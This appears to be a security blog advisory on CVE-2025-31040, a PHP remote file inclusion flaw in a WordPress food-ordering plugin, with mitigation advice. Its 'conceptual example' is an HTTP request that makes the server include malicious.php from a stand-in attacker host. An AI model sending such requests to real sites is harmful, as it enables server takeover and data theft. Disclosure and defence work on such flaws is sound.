{"id":28744,"date":"2025-04-22T02:38:58","date_gmt":"2025-04-22T02:38:58","guid":{"rendered":""},"modified":"2025-09-26T20:58:32","modified_gmt":"2025-09-27T02:58:32","slug":"cve-2025-31040-critical-php-remote-file-inclusion-vulnerability-in-wp-food-ordering-and-restaurant-menu-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31040-critical-php-remote-file-inclusion-vulnerability-in-wp-food-ordering-and-restaurant-menu-plugin\/","title":{"rendered":"CVE-2025-31040: Critical PHP Remote File Inclusion Vulnerability in WP Food Ordering and Restaurant Menu Plugin<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The Common Vulnerabilities and Exposures (CVE) system has recently identified a potentially severe vulnerability, dubbed as CVE-2025-31040. This vulnerability affects the WP Food ordering and Restaurant Menu plugin, widely used in various websites for online food ordering and menu display functionalities. This vulnerability is significant because it opens the door for unauthenticated attackers to perform a PHP Remote File<\/a> Inclusion (RFI), potentially leading to a system compromise or data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-31040
\nSeverity: Critical, CVSS score: 8.1
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise, potential data leakage<\/a><\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

WP Food Ordering and Restaurant<\/a> Menu | n\/a – 1.1<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The WP Food ordering and Restaurant Menu plugin has an improper control<\/a> mechanism for the filename in the Include\/Require statements in its PHP program. This vulnerability can be exploited by an attacker to include a remote<\/a> file from an external source. When this file is included, it gets executed in the context of the server-side application<\/a>. If the included file contains malicious code, it could lead to arbitrary code<\/a> execution, potentially compromising the system or leading to data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

To exploit this vulnerability<\/a>, an attacker might send an HTTP request similar to the following:<\/p>\n

GET \/index.php?menu_include=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this request, the attacker attempts to include a malicious PHP file<\/a> (`malicious.php`) hosted on their server (`attacker.com`). If the system is vulnerable, the server will fetch and execute the malicious file, potentially leading to a system<\/a> compromise or data leakage.<\/p>\n
Prevention and Mitigation Strategies<\/strong><\/p>\n
To mitigate the risk posed by this vulnerability<\/a>, users are advised to apply vendor patches as soon as they become available. In the absence of a patch, deploying a Web<\/a> Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on suspicious activities. However, these measures do not eliminate the vulnerability but instead provide an additional layer of security<\/a> while a more permanent solution is sought.<\/p>\n","protected":false},"excerpt":{"rendered":"
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